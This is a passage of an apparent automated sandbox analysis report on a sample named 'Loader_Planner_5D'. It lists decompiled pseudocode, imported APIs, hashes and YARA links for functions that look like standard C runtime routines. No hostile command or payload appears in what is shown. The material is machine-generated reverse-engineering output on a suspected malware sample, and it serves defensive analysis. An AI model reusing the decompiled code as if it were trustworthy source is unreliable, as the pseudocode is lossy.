				 *_t76 = 0;
				_t113 =  *((intOrPtr*)(_t116 + 0x18));
				if (_t113 - 0x10 < 0) goto 0x106392f7;
				if (_t113 + 1 - 0x1000 < 0) goto 0x106392f2;
				if ( *_t116 -  *((intOrPtr*)( *_t116 - 8)) - 8 - 0x1f > 0) goto 0x10639335;
				E00007FF77FF710641E10( *_t116 -  *((intOrPtr*)( *_t116 - 8)) - 8,  *((intOrPtr*)( *_t116 - 8)));
				 *((long long*)(_t116 + 0x10)) = 0;
				 *((long long*)(_t116 + 0x18)) = 0xf;
				 *_t116 = 0;
				return E00007FF77FF710641DF0(_t38, __ecx, _a4184 ^ _t120);
			}

0x7ff710639130
0x7ff71063913d
0x7ff710639142
0x7ff710639145
0x7ff71063914f
0x7ff710639157
0x7ff71063915a
0x7ff71063915d
0x7ff710639160
0x7ff710639165
0x7ff710639170
0x7ff710639176
0x7ff710639181
0x7ff71063918f
0x7ff71063919a
0x7ff71063919f
0x7ff7106391a8
0x7ff7106391bc
0x7ff7106391d1
0x7ff7106391d7
0x7ff7106391dc
0x7ff7106391e4
0x7ff7106391ea
0x7ff7106391ef
0x7ff7106391f8
0x7ff71063920c
0x7ff710639221
0x7ff710639227
0x7ff710639234
0x7ff710639239
0x7ff71063923c
0x7ff710639243
0x7ff71063924b
0x7ff71063924d
0x7ff710639250
0x7ff71063925e
0x7ff710639266
0x7ff71063926d
0x7ff710639274
0x7ff71063927c
0x7ff71063928b
0x7ff7106392a0
0x7ff7106392a9
0x7ff7106392ae
0x7ff7106392b6
0x7ff7106392be
0x7ff7106392c1
0x7ff7106392c9
0x7ff7106392d8
0x7ff7106392ed
0x7ff7106392f2
0x7ff7106392f7
0x7ff7106392ff
0x7ff710639307
0x7ff71063932e

APIs

send.WS2_32 ref: 00007FF710639243
recv.WS2_32 ref: 00007FF71063925E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063932F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710639335
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063933B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710639341

Strings

ios_base::badbit set, xrefs: 00007FF710639F29
*@*, xrefs: 00007FF710639413

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$recvsend
String ID: *@*$ios_base::badbit set
API String ID: 992680824-568847133
Opcode ID: df32547aa72bebbcb38056b8461a277a2cf78b0f9402edaf58315f58ed850eed
Instruction ID: 3c2293d79e98628fb0c424b77ae81d639fd00606cec54eec3150dfd37e86c873
Opcode Fuzzy Hash: df32547aa72bebbcb38056b8461a277a2cf78b0f9402edaf58315f58ed850eed
Instruction Fuzzy Hash: FC51E572B18E8181FB04AB25D05436EA353EF45BE4F804131EA9D4B7DADF6CF59887A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71065B188 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E00007FF77FF71065B188(void* __ecx, void* __edx, long long __rbx, intOrPtr* __rcx, intOrPtr* __rdx, long long __rdi, long long __rsi, void* __r8, signed int __r9, void* __r10) {
				intOrPtr _t37;
				intOrPtr _t49;
				void* _t50;
				void* _t87;
				intOrPtr* _t88;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t114;
				intOrPtr* _t118;
				long long _t121;
				void* _t122;
				void* _t124;
				signed long long _t137;
				void* _t138;
				void* _t140;
				int _t142;
				intOrPtr* _t143;
				void* _t145;
				intOrPtr* _t146;

				_t110 = __rdx;
				_t50 = __ecx;
				_t87 = _t124;
				 *((long long*)(_t87 + 8)) = __rbx;
				 *((long long*)(_t87 + 0x10)) = _t121;
				 *((long long*)(_t87 + 0x18)) = __rsi;
				 *((long long*)(_t87 + 0x20)) = __rdi;
				_t122 = __r8;
				_t143 = __rdx;
				_t114 = __rcx;
				E00007FF77FF710650904(_t87, __rbx, __rdx, __rsi, _t145);
				r12d = 0;
				_t5 = _t87 + 0x98; // 0x98
				_t93 = _t5;
				_t88 = _t114 + 0x80;
				 *((intOrPtr*)(_t93 + 0x10)) = r12d;
				_t8 = _t93 + 0x258; // 0x2f0
				_t146 = _t8;
				 *_t93 = _t114;
				_t9 = _t93 + 8; // 0xa0
				_t118 = _t9;
				 *_t146 = r12w;
				 *_t118 = _t88;
				if ( *_t88 == r12w) goto 0x1065b1fd;
				_t10 = _t140 + 0x16; // 0x16
				E00007FF77FF71065B0EC(_t10, _t93, 0x1066fb60, _t114, _t118, _t118);
				if ( *((intOrPtr*)( *_t93)) == r12w) goto 0x1065b253;
				if ( *((intOrPtr*)( *_t118)) == r12w) goto 0x1065b216;
				E00007FF77FF71065AA7C(_t93, _t93, _t118, __r9);
				goto 0x1065b21b;
				E00007FF77FF71065AB4C(_t93, _t93, _t118, __r9);
				if ( *((intOrPtr*)(_t93 + 0x10)) != r12d) goto 0x1065b262;
				if (E00007FF77FF71065B0EC(0x40, _t93, 0x1066f740, _t114, _t118, _t93) == 0) goto 0x1065b258;
				_t90 =  *_t118;
				if ( *_t90 == r12w) goto 0x1065b24c;
				E00007FF77FF71065AA7C(_t93, _t93, _t93, __r9);
				goto 0x1065b258;
				E00007FF77FF71065AB4C(_t93, _t93, _t93, __r9);
				goto 0x1065b258;
				E00007FF77FF71065A9D4(_t50,  *_t90 - r12w, _t93, _t93, _t110, _t118, _t93, __r9, __r10);
				if ( *((intOrPtr*)(_t93 + 0x10)) == r12d) goto 0x1065b3b5;
				if ( *_t114 != r12w) goto 0x1065b27d;
				if ( *((intOrPtr*)(_t114 + 0x100)) != r12w) goto 0x1065b27d;
				GetACP();
				goto 0x1065b285;
				_t37 = E00007FF77FF71065AFBC(_t93, _t114 + 0x100, _t93, _t118);
				_t49 = _t37;
				if (_t37 == 0) goto 0x1065b3b5;
				if (_t37 == 0xfde8) goto 0x1065b3b5;
				if (IsValidCodePage(_t142) == 0) goto 0x1065b3b5;
				if (_t143 == 0) goto 0x1065b2b3;
				 *_t143 = _t49;
				if (_t122 == 0) goto 0x1065b3ae;
				_t119 = _t122 + 0x120;
				 *((intOrPtr*)(_t122 + 0x120)) = r12w;
				_t137 = (__r9 | 0xffffffff) + 1;
				if ( *((intOrPtr*)(_t146 + _t137 * 2)) != r12w) goto 0x1065b2cb;
				_t138 = _t137 + 1;
				if (E00007FF77FF7106586A8(_t90, _t93, _t122 + 0x120, _t93, _t122 + 0x120, _t146, _t138, _t140) != 0) goto 0x1065b3d6;
				_t17 = _t90 + 0x40; // 0x40
				r9d = _t17;
				if (E00007FF77FF710652874(0x1001, E00007FF77FF7106586A8(_t90, _t93, _t122 + 0x120, _t93, _t122 + 0x120, _t146, _t138, _t140), _t90, _t93, _t122 + 0x120, _t122 + 0x120, _t122, _t122) == 0) goto 0x1065b3b5;
				r9d = 0x40;
				if (E00007FF77FF710652874(0x1002, E00007FF77FF710652874(0x1001, E00007FF77FF7106586A8(_t90, _t93, _t122 + 0x120, _t93, _t122 + 0x120, _t146, _t138, _t140), _t90, _t93, _t122 + 0x120, _t122 + 0x120, _t122, _t122), _t90, _t93, _t119, _t119, _t122, _t122 + 0x80) == 0) goto 0x1065b3b5;
				E00007FF77FF710663674(0x5f, _t122 + 0x80, _t138);
				if (_t90 != 0) goto 0x1065b353;
				_t19 = _t90 + 0x2e; // 0x2e
				E00007FF77FF710663674(_t19, _t122 + 0x80, _t138);
				if (_t90 == 0) goto 0x1065b36c;
				r9d = 0x40;
				_t20 = _t138 - 0x39; // 0x7
				if (E00007FF77FF710652874(_t20, _t90, _t90, _t93, _t119, _t119, _t122, _t122 + 0x80) == 0) goto 0x1065b3b5;
				if (_t49 != 0xfde9) goto 0x1065b39a;
				r9d = 5;
				if (E00007FF77FF7106586A8(_t122 + 0x100, _t93, _t122 + 0x100, _t93, _t119, L"utf8", _t138) != 0) goto 0x1065b3d6;
				goto 0x1065b3ae;
				r9d = 0xa;
				_t23 = _t138 + 6; // 0x46
				r8d = _t23;
				E00007FF77FF71065EEEC(_t49);
				goto 0x1065b3b7;
				return 0;
			}

0x7ff71065b188
0x7ff71065b188
0x7ff71065b188
0x7ff71065b18b
0x7ff71065b18f
0x7ff71065b193
0x7ff71065b197
0x7ff71065b1a5
0x7ff71065b1a8
0x7ff71065b1ab
0x7ff71065b1ae
0x7ff71065b1b3
0x7ff71065b1b9
0x7ff71065b1b9
0x7ff71065b1c0
0x7ff71065b1c7
0x7ff71065b1cb
0x7ff71065b1cb
0x7ff71065b1d2
0x7ff71065b1d5
0x7ff71065b1d5
0x7ff71065b1d9
0x7ff71065b1dd
0x7ff71065b1e4
0x7ff71065b1e9
0x7ff71065b1f5
0x7ff71065b204
0x7ff71065b20d
0x7ff71065b20f
0x7ff71065b214
0x7ff71065b216
0x7ff71065b21f
0x7ff71065b237
0x7ff71065b239
0x7ff71065b243
0x7ff71065b245
0x7ff71065b24a
0x7ff71065b24c
0x7ff71065b251
0x7ff71065b253
0x7ff71065b25c
0x7ff71065b26d
0x7ff71065b273
0x7ff71065b275
0x7ff71065b27b
0x7ff71065b280
0x7ff71065b285
0x7ff71065b289
0x7ff71065b294
0x7ff71065b2a5
0x7ff71065b2ae
0x7ff71065b2b0
0x7ff71065b2b6
0x7ff71065b2bc
0x7ff71065b2c7
0x7ff71065b2cb
0x7ff71065b2d3
0x7ff71065b2d5
0x7ff71065b2ea
0x7ff71065b2f0
0x7ff71065b2f0
0x7ff71065b306
0x7ff71065b313
0x7ff71065b32b
0x7ff71065b339
0x7ff71065b341
0x7ff71065b343
0x7ff71065b349
0x7ff71065b351
0x7ff71065b353
0x7ff71065b35f
0x7ff71065b36a
0x7ff71065b379
0x7ff71065b37b
0x7ff71065b396
0x7ff71065b398
0x7ff71065b39a
0x7ff71065b3a5
0x7ff71065b3a5
0x7ff71065b3a9
0x7ff71065b3b3
0x7ff71065b3d5

APIs

Part of subcall function 00007FF710650904: GetLastError.KERNEL32 ref: 00007FF710650913
Part of subcall function 00007FF710650904: FlsGetValue.KERNEL32 ref: 00007FF710650928
Part of subcall function 00007FF710650904: SetLastError.KERNEL32 ref: 00007FF7106509B3

TranslateName.LIBCMT ref: 00007FF71065B1F5
TranslateName.LIBCMT ref: 00007FF71065B230
GetACP.KERNEL32(?,?,?,00000000,00000092,00007FF71064F104), ref: 00007FF71065B275
IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00007FF71064F104), ref: 00007FF71065B29D

Strings

utf8, xrefs: 00007FF71065B381

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodePageValidValue
String ID: utf8
API String ID: 1791977518-905460609
Opcode ID: 63ed29a420ad74c94cf28c0712c200eb9e629f0390f90e8e370d96a25e0d4342
Instruction ID: 58e7304a3c4b045e2823c73c1ac2719bd30327d56fd22c4c97d78f446c9d8612
Opcode Fuzzy Hash: 63ed29a420ad74c94cf28c0712c200eb9e629f0390f90e8e370d96a25e0d4342
Instruction Fuzzy Hash: 10918C32A08B4285EB24AF21D4112BDA3B6FB84BE0F845131DA5C4778ADF3CF549CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71065BBBC Relevance: 10.7, APIs: 7, Instructions: 171
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 56%

			E00007FF77FF71065BBBC(void* __ecx, void* __edx, long long __rcx, intOrPtr* __rdx, void* __r8, void* __r9, void* __r10) {
				signed int _v72;
				int _v80;
				int _v84;
				signed int _v88;
				void* __rbx;
				void* __rsi;
				void* __rbp;
				int _t60;
				intOrPtr _t61;
				void* _t73;
				intOrPtr _t82;
				intOrPtr _t84;
				void* _t90;
				signed long long _t116;
				signed long long _t117;
				intOrPtr* _t118;
				intOrPtr* _t119;
				intOrPtr* _t120;
				intOrPtr* _t121;
				intOrPtr* _t122;
				void* _t125;
				intOrPtr* _t126;
				signed long long _t134;
				signed long long _t136;
				void* _t147;
				void* _t148;
				signed long long _t149;
				void* _t151;
				void* _t159;
				long long _t161;
				intOrPtr* _t163;

				_t159 = __r9;
				_t141 = __rdx;
				_t73 = __ecx;
				_t116 =  *0x10689010; // 0xafe3859a1ce3
				_t117 = _t116 ^ _t151 - 0x00000040;
				_v72 = _t117;
				_t147 = __r8;
				_t163 = __rdx;
				_t161 = __rcx;
				E00007FF77FF710650904(_t117, _t125, __rdx, _t148);
				_t149 = _t117;
				_v88 = _t117;
				_v80 = 0;
				E00007FF77FF710650904(_t117, _t125, _t141, _t149);
				r12d = 0;
				_t5 = _t149 + 0xa0; // 0xa0
				_t126 = _t5;
				 *((long long*)(_t117 + 0x3a0)) =  &_v88;
				_t118 = _t161 + 0x80;
				 *((long long*)(_t149 + 0x98)) = _t161;
				 *_t126 = _t118;
				if (_t118 == 0) goto 0x1065bc43;
				if ( *_t118 == r12w) goto 0x1065bc43;
				_t82 =  *0x1066fcd0; // 0x17
				E00007FF77FF71065BB3C(_t82 - 1, _t126, 0x1066fb60, _t149, _t151, _t126);
				_v88 = r12d;
				_t119 =  *((intOrPtr*)(_t149 + 0x98));
				if (_t119 == 0) goto 0x1065bccc;
				if ( *_t119 == r12w) goto 0x1065bccc;
				_t120 =  *_t126;
				if (_t120 == 0) goto 0x1065bc72;
				if ( *_t120 == r12w) goto 0x1065bc72;
				E00007FF77FF71065B4D4(_t73, _t82 - 1, _t120, _t126,  &_v88, _t141, _t126);
				goto 0x1065bc7b;
				E00007FF77FF71065B5A4(_t73, _t82 - 1, _t120, _t126,  &_v88, _t141, _t126);
				if (_v88 != r12d) goto 0x1065bd42;
				_t84 =  *0x1066fb50; // 0x41
				_t14 = _t149 + 0x98; // 0x98
				if (E00007FF77FF71065BB3C(_t84 - 1, _t126, 0x1066f740, _t149, _t151, _t14) == 0) goto 0x1065bd38;
				_t121 =  *_t126;
				if (_t121 == 0) goto 0x1065bcc1;
				if ( *_t121 == r12w) goto 0x1065bcc1;
				E00007FF77FF71065B4D4(_t73, _t84 - 1, _t121, _t126,  &_v88, _t141, _t14);
				goto 0x1065bd38;
				_t134 =  &_v88;
				E00007FF77FF71065B5A4(_t73, _t84 - 1, _t121, _t126, _t134, _t141, _t14);
				goto 0x1065bd38;
				_t122 =  *_t126;
				if (_t122 == 0) goto 0x1065bd25;
				if ( *_t122 == r12w) goto 0x1065bd25;
				E00007FF77FF710650904(_t122, _t126, _t141, _t149);
				_t136 = (_t134 | 0xffffffff) + 1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t122 + 0xa0)) + _t136 * 2)) != r12w) goto 0x1065bced;
				 *(_t122 + 0xb4) = r12d & 0xffffff00 | _t136 == 0x00000003;
				EnumSystemLocalesW(??, ??);
				if ((_v88 & 0x00000004) != 0) goto 0x1065bd38;
				_v88 = r12d;
				goto 0x1065bd38;
				_v88 = 0x104;
				_t60 = GetUserDefaultLCID();
				_v80 = _t60;
				_v84 = _t60;
				if (_v88 == r12d) goto 0x1065be1d;
				asm("dec eax");
				_t61 = E00007FF77FF71065B9E0(_t126, 0x7ff71065b3ec & _t161 + 0x00000100,  &_v88, _t149);
				if (_t61 == 0) goto 0x1065be1d;
				if (IsValidCodePage(??) == 0) goto 0x1065be1d;
				if (IsValidLocale(??, ??) == 0) goto 0x1065be1d;
				if (_t163 == 0) goto 0x1065bd94;
				 *_t163 = _t61;
				_t36 = _t149 + 0x2f0; // 0x2f0
				r9d = 0;
				_t37 = _t159 + 0x55; // 0x55
				_t90 = _t37;
				r8d = _t90;
				E00007FF77FF710652A44(_v84, _t163, _t161 + 0x100, _t126, _t36, _t149, _t151);
				if (_t147 == 0) goto 0x1065be16;
				r9d = 0;
				r8d = _t90;
				E00007FF77FF710652A44(_v84, _t147, _t161 + 0x100, _t126, _t147 + 0x120, _t149, _t151);
				r9d = 0x40;
				if (GetLocaleInfoW(??, ??, ??, ??) == 0) goto 0x1065be1d;
				r9d = 0x40;
				if (GetLocaleInfoW(??, ??, ??, ??) == 0) goto 0x1065be1d;
				_t44 = _t149 - 0x36; // 0xa
				r9d = _t44;
				_t45 = _t149 - 0x30; // 0x10
				r8d = _t45;
				E00007FF77FF71065EEEC(_t61);
				goto 0x1065be1f;
				return E00007FF77FF710641DF0(0, _t61, _v72 ^ _t151 - 0x00000040);
			}

0x7ff71065bbbc
0x7ff71065bbbc
0x7ff71065bbbc
0x7ff71065bbce
0x7ff71065bbd5
0x7ff71065bbd8
0x7ff71065bbdc
0x7ff71065bbdf
0x7ff71065bbe2
0x7ff71065bbe5
0x7ff71065bbea
0x7ff71065bbef
0x7ff71065bbf3
0x7ff71065bbf6
0x7ff71065bbff
0x7ff71065bc02
0x7ff71065bc02
0x7ff71065bc09
0x7ff71065bc10
0x7ff71065bc17
0x7ff71065bc1e
0x7ff71065bc24
0x7ff71065bc2a
0x7ff71065bc2c
0x7ff71065bc3e
0x7ff71065bc43
0x7ff71065bc47
0x7ff71065bc51
0x7ff71065bc57
0x7ff71065bc59
0x7ff71065bc5f
0x7ff71065bc65
0x7ff71065bc6b
0x7ff71065bc70
0x7ff71065bc76
0x7ff71065bc7f
0x7ff71065bc85
0x7ff71065bc8b
0x7ff71065bca2
0x7ff71065bca8
0x7ff71065bcae
0x7ff71065bcb4
0x7ff71065bcba
0x7ff71065bcbf
0x7ff71065bcc1
0x7ff71065bcc5
0x7ff71065bcca
0x7ff71065bccc
0x7ff71065bcd2
0x7ff71065bcd8
0x7ff71065bcda
0x7ff71065bced
0x7ff71065bcf5
0x7ff71065bd08
0x7ff71065bd13
0x7ff71065bd1d
0x7ff71065bd1f
0x7ff71065bd23
0x7ff71065bd25
0x7ff71065bd2c
0x7ff71065bd32
0x7ff71065bd35
0x7ff71065bd3c
0x7ff71065bd50
0x7ff71065bd56
0x7ff71065bd5f
0x7ff71065bd70
0x7ff71065bd86
0x7ff71065bd8f
0x7ff71065bd91
0x7ff71065bd97
0x7ff71065bd9e
0x7ff71065bda1
0x7ff71065bda1
0x7ff71065bda5
0x7ff71065bda8
0x7ff71065bdb0
0x7ff71065bdbc
0x7ff71065bdbf
0x7ff71065bdc2
0x7ff71065bdcf
0x7ff71065bde2
0x7ff71065bdee
0x7ff71065bdfe
0x7ff71065be09
0x7ff71065be09
0x7ff71065be0d
0x7ff71065be0d
0x7ff71065be11
0x7ff71065be1b
0x7ff71065be39

APIs

Part of subcall function 00007FF710650904: GetLastError.KERNEL32 ref: 00007FF710650913
Part of subcall function 00007FF710650904: FlsGetValue.KERNEL32 ref: 00007FF710650928
Part of subcall function 00007FF710650904: SetLastError.KERNEL32 ref: 00007FF7106509B3

Part of subcall function 00007FF710650904: FlsSetValue.KERNEL32 ref: 00007FF710650949

GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00007FF71065BD2C

Part of subcall function 00007FF710650904: FlsSetValue.KERNEL32 ref: 00007FF710650976
Part of subcall function 00007FF710650904: FlsSetValue.KERNEL32 ref: 00007FF710650987
Part of subcall function 00007FF710650904: FlsSetValue.KERNEL32 ref: 00007FF710650998

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00007FF71064F0FD), ref: 00007FF71065BD13
ProcessCodePage.LIBCMT ref: 00007FF71065BD56
IsValidCodePage.KERNEL32 ref: 00007FF71065BD68
IsValidLocale.KERNEL32 ref: 00007FF71065BD7E
GetLocaleInfoW.KERNEL32 ref: 00007FF71065BDDA
GetLocaleInfoW.KERNEL32 ref: 00007FF71065BDF6

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: Value$Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 2591520935-0
Opcode ID: eba59570c67bc7d821a2812b40829728389f3badbe2928878e9ee346227db81f
Instruction ID: d7717808098ad2536f126699e53464473b1a0e6a739cb78df4e1581734a4e758
Opcode Fuzzy Hash: eba59570c67bc7d821a2812b40829728389f3badbe2928878e9ee346227db81f
Instruction Fuzzy Hash: C7717C22F08E428AFB10AB60D4516BCA3B2BF447A4F845535CA1D57795EF3CF549CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710642B50 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF710642B6C
RtlCaptureContext.KERNEL32 ref: 00007FF710642B99
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF710642BB3
RtlVirtualUnwind.KERNEL32 ref: 00007FF710642BF4
IsDebuggerPresent.KERNEL32 ref: 00007FF710642C48
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF710642C69
UnhandledExceptionFilter.KERNEL32 ref: 00007FF710642C74

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 75e1324bd09814723dad9d8e00287819af0291481f05d2766417d0a6a95e2267
Instruction ID: 910f071c0e2b92e8448a12c73edc5dde2e54202fadf1d9eb55910f8559e8488a
Opcode Fuzzy Hash: 75e1324bd09814723dad9d8e00287819af0291481f05d2766417d0a6a95e2267
Instruction Fuzzy Hash: B6311076609E8285EB609F60E8403FDB365FB84768F84443ADA4D87B98DF39E54CC720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710649EC8 Relevance: 9.1, APIs: 6, Instructions: 83
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00007FF77FF710649EC8(void* __ecx, intOrPtr __edx, long long __rbx, long long __rsi) {
				void* _t36;
				int _t38;
				signed long long _t60;
				long long _t63;
				_Unknown_base(*)()* _t82;
				void* _t86;
				void* _t87;
				void* _t89;
				signed long long _t90;
				struct _EXCEPTION_POINTERS* _t95;

				 *((long long*)(_t89 + 0x10)) = __rbx;
				 *((long long*)(_t89 + 0x18)) = __rsi;
				_t87 = _t89 - 0x4f0;
				_t90 = _t89 - 0x5f0;
				_t60 =  *0x10689010; // 0xafe3859a1ce3
				 *(_t87 + 0x4e0) = _t60 ^ _t90;
				if (__ecx == 0xffffffff) goto 0x10649f07;
				E00007FF77FF710642B48(_t36);
				r8d = 0x98;
				E00007FF77FF7106441A0();
				r8d = 0x4d0;
				E00007FF77FF7106441A0();
				 *((long long*)(_t90 + 0x48)) = _t90 + 0x70;
				_t63 = _t87 + 0x10;
				 *((long long*)(_t90 + 0x50)) = _t63;
				__imp__RtlCaptureContext();
				r8d = 0;
				__imp__RtlLookupFunctionEntry();
				if (_t63 == 0) goto 0x10649f9a;
				 *(_t90 + 0x38) =  *(_t90 + 0x38) & 0x00000000;
				 *((long long*)(_t90 + 0x30)) = _t90 + 0x58;
				 *((long long*)(_t90 + 0x28)) = _t90 + 0x60;
				 *((long long*)(_t90 + 0x20)) = _t87 + 0x10;
				__imp__RtlVirtualUnwind();
				 *((long long*)(_t87 + 0x108)) =  *((intOrPtr*)(_t87 + 0x508));
				 *((intOrPtr*)(_t90 + 0x70)) = __edx;
				 *((long long*)(_t87 + 0xa8)) = _t87 + 0x510;
				 *((long long*)(_t87 - 0x80)) =  *((intOrPtr*)(_t87 + 0x508));
				 *((intOrPtr*)(_t90 + 0x74)) = r8d;
				_t38 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(_t82, _t86);
				if (UnhandledExceptionFilter(_t95) != 0) goto 0x10649ffc;
				if (_t38 != 0) goto 0x10649ffc;
				if (__ecx == 0xffffffff) goto 0x10649ffc;
				return E00007FF77FF710641DF0(E00007FF77FF710642B48(_t40), __ecx,  *(_t87 + 0x4e0) ^ _t90);
			}

0x7ff710649ec8
0x7ff710649ecd
0x7ff710649ed6
0x7ff710649ede
0x7ff710649ee5
0x7ff710649eef
0x7ff710649f00
0x7ff710649f02
0x7ff710649f0e
0x7ff710649f14
0x7ff710649f1f
0x7ff710649f25
0x7ff710649f2f
0x7ff710649f38
0x7ff710649f3c
0x7ff710649f41
0x7ff710649f56
0x7ff710649f59
0x7ff710649f62
0x7ff710649f64
0x7ff710649f77
0x7ff710649f84
0x7ff710649f8d
0x7ff710649f94
0x7ff710649fa1
0x7ff710649fb3
0x7ff710649fb7
0x7ff710649fc5
0x7ff710649fc9
0x7ff710649fcd
0x7ff710649fd7
0x7ff710649fea
0x7ff710649fee
0x7ff710649ff3
0x7ff71064a022

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF710649F41
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF710649F59
RtlVirtualUnwind.KERNEL32 ref: 00007FF710649F94
IsDebuggerPresent.KERNEL32 ref: 00007FF710649FCD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF710649FD7
UnhandledExceptionFilter.KERNEL32 ref: 00007FF710649FE2

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: eb312394792028d33d07dc9c15ded67db8576deb554e2426716f4e95f60fed82
Instruction ID: 7a1ae8e189296693e39e378b183a01aca72a84259447267bdc458e98ccb40a6a
Opcode Fuzzy Hash: eb312394792028d33d07dc9c15ded67db8576deb554e2426716f4e95f60fed82
Instruction Fuzzy Hash: E4315336608F8185DB60DF25E8403ADB3A5FB89768F900136EA9D83B59DF3CE559C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71065C3E0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 329
COMMONCrypto

Download Yara Rule

C-Code - Quality: 69%

			E00007FF77FF71065C3E0(signed int __ecx, signed int __rax, signed int* __rcx, unsigned int __rdx, signed int __r9, void* __r10, long long __r13, signed int _a8, long long _a16, signed int _a24, signed int _a32) {
				long long _v64;
				char _v532;
				intOrPtr _v536;
				signed long long _v552;
				signed int _v560;
				signed int _v568;
				signed int _v572;
				signed int _v576;
				intOrPtr _v584;
				void* __rbx;
				void* __rsi;
				void* _t132;
				signed int _t148;
				intOrPtr _t161;
				signed int _t163;
				intOrPtr _t164;
				signed int _t180;
				signed int _t191;
				signed int _t192;
				signed int _t213;
				void* _t230;
				signed long long _t241;
				signed int _t244;
				void* _t252;
				signed int* _t255;
				intOrPtr* _t262;
				signed long long _t267;
				signed long long _t269;
				signed long long _t271;
				signed long long _t273;
				signed long long _t277;
				signed long long _t279;
				char* _t285;
				signed int _t288;
				signed long long _t289;
				signed long long _t297;
				signed long long _t298;
				void* _t306;
				signed long long _t327;

				_a16 = __rdx;
				r10d =  *__rcx;
				if (r10d == 0) goto 0x1065c855;
				_t161 =  *__rdx;
				_v584 = _t161;
				if (_t161 == 0) goto 0x1065c855;
